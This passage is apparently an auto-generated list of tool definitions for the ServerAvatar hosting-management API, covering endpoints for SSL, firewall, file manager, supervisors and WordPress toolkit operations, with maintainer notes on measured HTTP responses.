serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_edge_certificate_by_certificateid (read) — Show the detail of edge-certificate. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/edge-certificate/{certificateId}. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/edge-certificate/{certificateId}. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_https_redirect (read) — Get the detail of cloudflare HTTPS Redirect. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-redirect. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-redirect. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_https_rewrite (read) — Get the detail of cloudflare HTTPS-Rewrite. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-rewrite. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-rewrite. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_tls_13 (read) — Get the detail of cloudflare TLS 1.3. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-13. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-13. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_tls_version (read) — Get the detail of cloudflare TLS Version. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-version. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-version. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_fail2ban (read) — Get Custom Jail Detail For Application. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/fail2ban. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/fail2ban. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file (read) — Use this method to get a content of the file. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_git_commit_record (read) — Use this method to get a webhook history. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/git/commit-record. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/git/commit-record. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_git_deployment_script_by_git_deployment_script_output (read) — Use this method to get a script log. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/git/deployment-script/{git_deployment_script}/output. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/git/deployment-script/{git_deployment_script}/output. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_git_script (read) — Use this method to get a git deployment script. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/git/script. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/git/script. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_log_sizes (read) — Get sizes of the particular log file. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/log-sizes. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/log-sizes. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_node_deployment_pm2_detail (read) — Retrieve pm2 details for a specific SSR Node application on a Node Stack server. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/node-deployment/pm2-detail. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/node-deployment/pm2-detail. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_sftp (read) — Get mail SFTP Credentials. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/sftp. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/sftp. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_ssl (read) — Get complete detail of the installed SSL certificate. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/ssl. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/ssl. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_ssl_force_https (read) — Enable 'http' to 'https' redirection. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/ssl/force-https. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/ssl/force-https. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_ssl_stop_force_https (read) — Disable/stop 'http' to 'https' redirection. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/ssl/stop-force-https. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/ssl/stop-force-https. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_status (read) — Get a status of the application staging area. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/status. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/status. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_supervisors_by_supervisor (read) — To show a supervisor. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_supervisors_by_supervisor_restart (read) — To Restart a Process. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}/restart. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}/restart. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_supervisors_by_supervisor_start (read) — To Start a Process. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}/start. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}/start. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_supervisors_by_supervisor_stop (read) — To Stop a Process. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}/stop. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}/stop. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_sync (read) — Sync between your staging and production site. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/sync. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/sync. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_toggle (read) — Enable or disable the particular application present on the server. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/toggle. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/toggle. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_admins (read) — Get WordPress administrators for an application. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress/admins. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress/admins. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_admins_by_username_create_magic_link (read) — Create a magic login link for a WordPress user. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress/admins/{username}/create-magic-link. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress/admins/{username}/create-magic-link. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_checksums_verify (read) — Compare installed WordPress core files against official release checksums. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/checksums/verify. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/checksums/verify. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_cron_summary (read) — Returns WP Cron status and whether a server-side cron job is configured for this application. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/cron/summary. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/cron/summary. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_debug_info (read) — Read and update WordPress debug configuration (WP_DEBUG, WP_DEBUG_LOG, WP_DEBUG_DISPLAY). Requires the WordPress Toolkit add-on. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/debug/info. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/debug/info. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_plugin_summary (read) — Returns installed plugin counts and update availability summary. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugin/summary. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugin/summary. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_plugins_list (read) — Install, update, activate, deactivate, and uninstall WordPress plugins from WordPress.org. Requires the WordPress Toolkit add-on. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/list. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/list. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_site_settings (read) — Read and update WordPress general settings: language, timezone, date/time formats, permalinks, search engine visibility, and WordPress memory limits. Requires the WordPress Toolkit add-on. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/site-settings. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/site-settings. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_summary (read) — Returns core WordPress version, maintenance mode, plugin/theme counts, and related overview fields. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/summary. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/summary. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_theme_summary (read) — Returns installed theme counts, active theme, and update availability summary. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/theme/summary. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/theme/summary. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_themes_list (read) — Install, update, activate, and uninstall WordPress themes from WordPress.org. Requires the WordPress Toolkit add-on. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/list. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/list. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_user_summary (read) — Returns WordPress user counts and related user summary data. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/user/summary. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/user/summary. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_backups_presets (read) — Get a list of the preset scheduled time. Calls GET /organizations/{organization}/servers/{server}/backups/presets. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/backups/presets. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_cronjobs_by_cronjob (read) — Get the detail of the particular cronjob. Calls GET /organizations/{organization}/servers/{server}/cronjobs/{cronjob}. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/cronjobs/{cronjob}. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_cronjobs_by_cronjob_toggle (read) — Enable or disable the cronjob schedule for the server. Calls GET /organizations/{organization}/servers/{server}/cronjobs/{cronjob}/toggle. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/cronjobs/{cronjob}/toggle. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_cronjobs_presets (read) — Get a list of preset cronjob schedules. Calls GET /organizations/{organization}/servers/{server}/cronjobs/presets. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/cronjobs/presets. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_fail2ban (read) — Get the detail of the SSH Fail2ban. Calls GET /organizations/{organization}/servers/{server}/fail2ban. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/fail2ban. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_fail2ban_by_fail2ban_by_type_ips (read) — Get Ban or Ignore Ips List. Calls GET /organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/{type}/ips. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/{type}/ips. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_firewall_rules (read) — Get a list of firewall rules. Calls GET /organizations/{organization}/servers/{server}/firewall-rules. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/firewall-rules. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_git_key (read) — Use this method to generate a git deployment key. Calls GET /organizations/{organization}/servers/{server}/git/key. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/git/key. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_logs (read) — Get a list of log files. Calls GET /organizations/{organization}/servers/{server}/logs. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/logs. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_restart (read) — Use this method to restart the server. Calls GET /organizations/{organization}/servers/{server}/restart. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/restart. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_services (read) — Get a list of all services. Calls GET /organizations/{organization}/servers/{server}/services. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/services. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_status (read) — Get an installing status of the server on the account. Calls GET /organizations/{organization}/servers/{server}/status. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/status. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_summary (read) — Get the short data summary of the server. Calls GET /organizations/{organization}/servers/{server}/summary. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/summary. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_system_users_by_system_user (read) — Show the detail of the particular application user of the application. Calls GET /organizations/{organization}/servers/{server}/system-users/{system_user}. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/system-users/{system_user}. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_system_users_by_system_user_ssh_access (read) — Enable or disable the SFTP/SSH access for the application user. Calls GET /organizations/{organization}/servers/{server}/system-users/{system_user}/ssh-access. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/system-users/{system_user}/ssh-access. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_system_users_by_system_user_ssh_key_remove (read) — Delete the SSH key for the application user. Calls GET /organizations/{organization}/servers/{server}/system-users/{system_user}/ssh-key-remove. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/system-users/{system_user}/ssh-key-remove. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_usage (read) — Get the disc usage of the server. Calls GET /organizations/{organization}/servers/{server}/usage. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/usage. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_web_page (read) — Get a detail of web server default-page. Calls GET /organizations/{organization}/servers/{server}/web-page. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/web-page. Scopes: api. serveravatar_get_timezone (read) — Retrieve the timezone. Calls GET /timezone. PUBLIC: answers 200 with no Authorization header at all (21,325 bytes, measured 2026-09-23), so a 200 here says nothing about this connection's API key. GET /api/v1/serveravatar/timezone. Scopes: api. serveravatar_get_wordpress_blueprints (read) — List the WordPress blueprints on the account. This is the read that produces the `wordpressBlueprint` id ServerAvatar's own blueprint show, update and delete actions require. Calls GET /wordpress-blueprints. NOT IN SERVERAVATAR'S DOCUMENTATION -- added by measurement, and the evidence here is the 405 alone because the 200 is behind a paid add-on. Measured 2026-09-24 with a valid key: PATCH, PUT and DELETE on /wordpress-blueprints each answer 405 'The <VERB> method is not supported for route wordpress-blueprints. Supported methods: GET, HEAD, POST.' -- ServerAvatar naming GET as a verb of its own route, three times independently, and ROUTING IS RESOLVED BEFORE THE ADD-ON CHECK, which is what makes that reading available at all. GET itself answers 500 {"message":"Please purchase the WordPress toolkit add-on to use this feature."} on an account without the add-on, as do the three documented blueprint operations that already ship -- so the whole family is add-on gated, and note that ServerAvatar reports that gate as a 500 rather than a 402 or 403. The response shape is therefore UNOBSERVED and this tool advertises the open object rather than an invented one. GET /api/v1/serveravatar/wordpress-blueprints. Scopes: api. serveravatar_get_wordpress_blueprints_by_wordpressblueprint (read) — Get a single WordPress blueprint by ID. Requires an active WordPress Toolkit add-on on the account. The blueprint must belong to the authenticated user. Calls GET /wordpress-blueprints/{wordpressBlueprint}. GET /api/v1/serveravatar/wordpress-blueprints/{wordpressBlueprint}. Scopes: api. serveravatar_get_wp_languages (read) — Retrieve the languages available in the WordPress application. Calls GET /wp/languages. PUBLIC: answers 200 with no Authorization header at all (12,370 bytes, measured 2026-09-23), so a 200 here says nothing about this connection's API key. GET /api/v1/serveravatar/wp/languages. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_advance_logs (write) — Fetch Advance Logs. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/advance-logs. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/advance-logs. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_application_domains_by_application_domain (write) — Change primary domain of the application. you can't change the primary domain of the application if you don't Created another domain in that application. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/application-domains/{application_domain}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/application-domains/{application_domain}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_basic_authentication_by_basic_authentication (write) — This API endpoint allows users to manage basic authentication for a specified application on a server. It includes retrieving, creating, and disabling basic authentication. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/basic-authentication/{basic_authentication}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/basic-authentication/{basic_authentication}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_dns_manager (write) — Update Cloudflare details. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/dns-manager. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_dns_records_by_record (write) — Update DNS Records. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records/{record}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records/{record}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_by_value (write) — Update the detail of cloudflare SSL/TLS encryption. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/{value}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/{value}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_https_redirect_by_value (write) — Update the detail of cloudflare HTTPS Redirect. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-redirect/{value}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-redirect/{value}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_https_rewrite_by_value (write) — Update the detail of cloudflare HTTPS Rewrite. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-rewrite/{value}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/https-rewrite/{value}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_tls_13_by_value (write) — Update the detail of cloudflare TLS 1.3. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-13/{value}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-13/{value}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_tls_version_by_version (write) — Update the detail of cloudflare TLS Version. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-version/{version}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/tls-version/{version}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file (write) — Use this method to update the content of the file.. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file_compress (write) — Compress the file or folder(.zip, .tar, .tar.gz, .tar.bz2) from given types. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/compress. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/compress. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file_copy (write) — Use this method to copy the file or folder. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/copy. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/copy. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file_create (write) — Create a file/folder for the application. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/create. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/create. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file_move (write) — Move the file or folder from one location to another. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/move. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/move. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file_rename (write) — Use this method to rename the File or folder. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/rename. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/rename. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file_uncompress (write) — Uncompress the compressed file/folder. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/uncompress. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/uncompress. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_file_managers_permission_update (write) — Update the permission of the file/folder. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/file-managers/permission-update. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/permission-update. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_git_webhook_by_status (write) — Git deployment in Enable or Disable auto pull. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/git/webhook/{status}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/git/webhook/{status}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_logs (write) — Fetch application log. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/logs. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/logs. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_node_deployment_command (write) — Update the build and after-build commands for the Node application on a Node Stack server. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/node-deployment/command. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/node-deployment/command. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_node_deployment_environment_variable (write) — Update environment variables for the Node application on a Node Stack server. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/node-deployment/environment-variable. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/node-deployment/environment-variable. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_node_deployment_nginx_conf (write) — Update Nginx configuration for the Node application on a Node Stack server. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/node-deployment/nginx-conf. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/node-deployment/nginx-conf. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_node_deployment_ssr_port (write) — Update port for the Node application(SSR) on a Node Stack server. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/node-deployment/ssr-port. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/node-deployment/ssr-port. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_php_settings (write) — Update the PHP settings of the application. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/php-settings. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/php-settings. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_ssl (write) — Update a custom SSL certificate. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/ssl. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/ssl. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_supervisors_by_supervisor (write) — To update a supervisor. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}. METHOD CORRECTED BY MEASUREMENT: POST is not a method of this route. Measured 2026-09-24 with a valid key: POST /organizations/20849/servers/1/applications/1/supervisors/1 answers 405 'The POST method is not supported for route ... Supported methods: GET, HEAD, PUT, PATCH, DELETE', and PATCH on the same path answers 404 'Record Not Found!' -- the route exists and takes PATCH. POST belongs on the COLLECTION (.../supervisors), which is already shipped as supervisor_create. So this is one operation with the wrong verb in the docs, not a dead route. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_tags (write) — Update the tags associated with a specific application on a server. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/tags. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/tags. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_truncate_logs (write) — Truncate/erase Application Logs. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/truncate-logs. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/truncate-logs. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_cache_flush (write) — Flush WordPress object/page cache where supported. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/cache/flush. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/cache/flush. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_core_update (write) — Install the latest WordPress core or a specific version. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/core-update. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/core-update. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_database_update (write) — Run WordPress database schema upgrade after a core update. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/database/update. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/database/update. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_plugins_toggle (write) — Install, update, activate, deactivate, and uninstall WordPress plugins from WordPress.org. Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/toggle. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/toggle. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_plugins_update (write) — Install, update, activate, deactivate, and uninstall WordPress plugins from WordPress.org. Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/update. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/update. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_plugins_update_all (write) — Install, update, activate, deactivate, and uninstall WordPress plugins from WordPress.org. Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/update-all. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/update-all. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_rewrite_flush (write) — Regenerate WordPress 